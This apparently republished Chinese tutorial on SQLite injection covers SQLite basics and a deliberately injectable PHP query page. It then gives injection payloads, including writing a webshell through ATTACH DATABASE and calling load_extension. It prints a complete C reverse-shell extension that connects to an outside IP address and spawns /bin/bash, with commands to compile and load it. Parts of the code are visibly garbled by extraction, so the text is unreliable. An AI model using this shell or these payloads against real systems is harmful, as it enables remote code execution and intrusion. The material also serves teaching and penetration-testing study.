栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 前沿技术 > 大数据 > 大数据系统

SQLite 数据库注入总结

SQLite 数据库注入总结

前言

SQLite 是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。SQLite 与 MySQL 还是有些区别的,SQLite 直接读写普通磁盘文件,每一个数据库就是一个文件,可以按应用程序需求进行静态或动态连接其存储文件进行数据操作。

SQLite 基础

在本篇文章中我们使用 SQLite3 来学习,SQLite3 的语法与 MySQL 相似。详细语法可以在这里学习:https://www.runoob.com/sqlite/sqlite-tutorial.html。

SQLite 创建数据库

SQLite 的 sqlite3 命令被用来创建新的 SQLite 数据库。您不需要任何特殊的权限即可创建一个数据。如下:

root@ubuntu:~# sqlite3 DatabaseName.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

上面的命令将在当前目录下创建一个文件 DatabaseName.db,该文件将被 SQLite 引擎用作数据库,并且 sqlite3 命令在成功创建数据库文件之后,将提供一个 sqlite> 提示符,该提示符用于交互式的操作库内的数据。我们可以使用 .database 命令来查看当前数据库:

sqlite> .database
main: /root/DatabaseName.db
SQLite 附加数据库

假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATAbase 语句是用来选择一个特定的数据库。SQLite 的 ATTACH DATAbase 语句的基本语法如下:

ATTACH DATAbase file_name AS database_name;

打开的数据库和使用 ATTACH 附加进来的数据库的必须位于同一文件夹下。如果数据库尚未被创建,上面的命令将创建一个数据库。

如下,我们想附加一个现有的数据库 testDB.db:

sqlite> ATTACH DATAbase 'testDB.db' as 'TEST';

如下,执行 .database 命令后,可以看到成功附加了一个 TEST:

sqlite> .database
main: /root/DatabaseName.db
TEST: /root/testDB.db

在特定情况下,我们可以通过附加数据库的方式写入 Webshell。

SQLite 创建表

SQLite 的 CREATE TABLE 语句用于在任何给定的数据库创建一个新表。CREATE TABLE 语句的基本语法如下:

CREATE TABLE database_name.table_name(
   column1 datatype  PRIMARY KEY(one or more columns),
   column2 datatype,
   column3 datatype,
   .....
   columnN datatype,
);

如下实例,我们创建了一个 users 表,ID 作为主键,NOT NULL 的约束表示在表中创建纪录时这些字段不能为 NULL:

sqlite> CREATE TABLE users(
   id INT PRIMARY KEY     NOT NULL,
   username           TEXT    NOT NULL,
   password           TEXT    NOT NULL,
   age            INT     NOT NULL
);

您可以使用 SQLIte 命令中的 .tables 命令来验证表是否已成功创建,该命令用于列出附加数据库中的所有表:

sqlite> .tables
users

您可以使用 SQLite .schema 命令得到表的完整信息,如下所示:

sqlite> .schema users
CREATE TABLE users(
   id INT PRIMARY KEY     NOT NULL,
   username           TEXT    NOT NULL,
   password           TEXT    NOT NULL,
   age            INT     NOT NULL
);
SQLite Insert 语句

SQLite 的 INSERT INTO 语句用于向数据库的某个表中添加新的数据行。语法如下:

INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)]  
VALUES (value1, value2, value3,...valueN);

下面的语句将在 users 表中创建四个记录:

INSERT INTO users (id,username,password,age) VALUES (1, 'Admin', '123456', 20);
INSERT INTO users (id,username,password,age) VALUES (2, 'Whoami', '657260', 19);
INSERT INTO users (id,username,password,age) VALUES (3, 'Bunny', '963756', 19);
INSERT INTO users (id,username,password,age) VALUES (4, 'Allen', '759135', 21);
SQLite Select 语句

SQLite 的 SELECT 语句用于从 SQLite 数据库表中获取数据,以结果表的形式返回数据。SELECT 语句语法如下:

SELECT column1, column2, columnN FROM table_name;

如下我们查询刚刚创建的 users 表:

sqlite> .header on
sqlite> .mode column    # 前两个命令被用来设置格式化的输出
sqlite> SELECt * FROM users;
id          username    password    age       
----------  ----------  ----------  ----------
1           Admin       123456      20        
2           Whoami      657260      19        
3           Bunny       963756      19        
4           Allen       759135      21
SQLite 注释

与 MySQL 常见的注释符 # 不同,SQLite 的注释符以两个连续的 “-” 字符(ASCII 0x2d)开始,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。

您也可以使用 C 风格的注释,以 字符对或直到输入结束,以先到者为准。SQLite 的注释可以跨越多行。

sqlite>.help -- 这是一个简单的注释
SQLite sqlite_master 表

sqlite_master 表是 SQLite 的系统表,是为每个 SQLite 数据库自动创建的特殊表。该表记录该数据库中保存的表、索引、视图、和触发器信息,每一行记录一个项目。在创建一个 SQLite 数据库的时候,该表会自动创建。如下查看 sqlite_master 表的结构,发现其包含 5 列:

sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);
  • type:其值为 “table” 或者 “index”。
  • name:这个表的名称或者索引。
  • sql:创建表所使用的完整的 SQL 语句。

可知,sqlite_master 表中的 sql 字段中记录着你建表留下的完整的记录,也就是说我们在注入的时候可以通过查询 sqlite_master 表来获取数据库中的表名以及表结构,这就像我们在 MySQL 注入中查询 information_schema 一样。

同时,由于使用 CREATE 或 DROp 创建或销毁表在实际上与从特殊的 sqlite_master 表中执行 INSERT 或 DELETE 语句相同,所以当我们在特殊情况下可以通过操作 sqlite_master 表来创建或删除数据库表。【网络安全学习攻略·资料包】

常见注入姿势

SQLite 注入的基本操作与 MySQL 注入相似,MySQL 有的 SQLite 基本都有,一个最大的不同就是没有 information_schema。

我们以下编写测试代码进行演示:

  • index.php
open('DatabaseName.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "You can query users by ID.n
"; } $id = $_POST['id']; $sql =<<query($sql); if($ret==FALSE){ echo "Error in fetch ".$db->lastErrorMsg(); } else{ while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ echo "ID = ". $row['id'] . "
"; echo "Username = ". $row['username'] ."
"; echo "Password = ". $row['password'] ."
"; } //var_dump($ret->fetchArray(SQLITE3_ASSOC)); } $db->close(); ?>
测试闭合方式

正常查询:

尝试闭合单引号:

发现报错,说明当前闭合方式为单引号。

然后尝试使用分号 ; 闭合 SQL 语句:

1';


也可以使用 – 进行注释:

1' --


也可以使用 #include #include #include #include #include #include #include #include #include SQLITE_EXTENSION_INIT1 int tcp_port = 2333; char *ip = "47.101.57.72"; #ifdef _WIN32 __declspec(dllexport) #endif int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); int fd; if ( fork() <= 0){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip); fd = socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){ exit(0); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", 0LL, 0LL); } return rc; }

然后编译:

gcc -g -fPIC -shared exp.c -o exp.so
# gcc -g -shared exp.c -o exp.dll


然后直接加载:

select load_extension('/root/exp.so');

如下图所示,成功反弹 Shell:

借助 SQLite 动态加载的这个特性,我们可以通过文件上传等方式在一个可预测的存储路径中预先放置一个覆盖 SQLite 扩展规范的动态库,然后通过 SQL 注入漏洞调用 load_extension,就可以很轻松的激活这个库中的代码,直接形成了远程代码执行漏洞:

而在 Android
平台中有漏洞利用经验的人应该都很清楚,想要把一个恶意文件下载到手机存储中,有许多实际可操作的方式,例如收到的图片、音频或者视频,网页的图片缓存等。

-1'||load_extension('./uploads/exp.so');/*

但是默认情况下 load_extension 是被禁用的。

参考文献

最后

关注私我获取【网络安全学习攻略·资料包】

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/303672.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号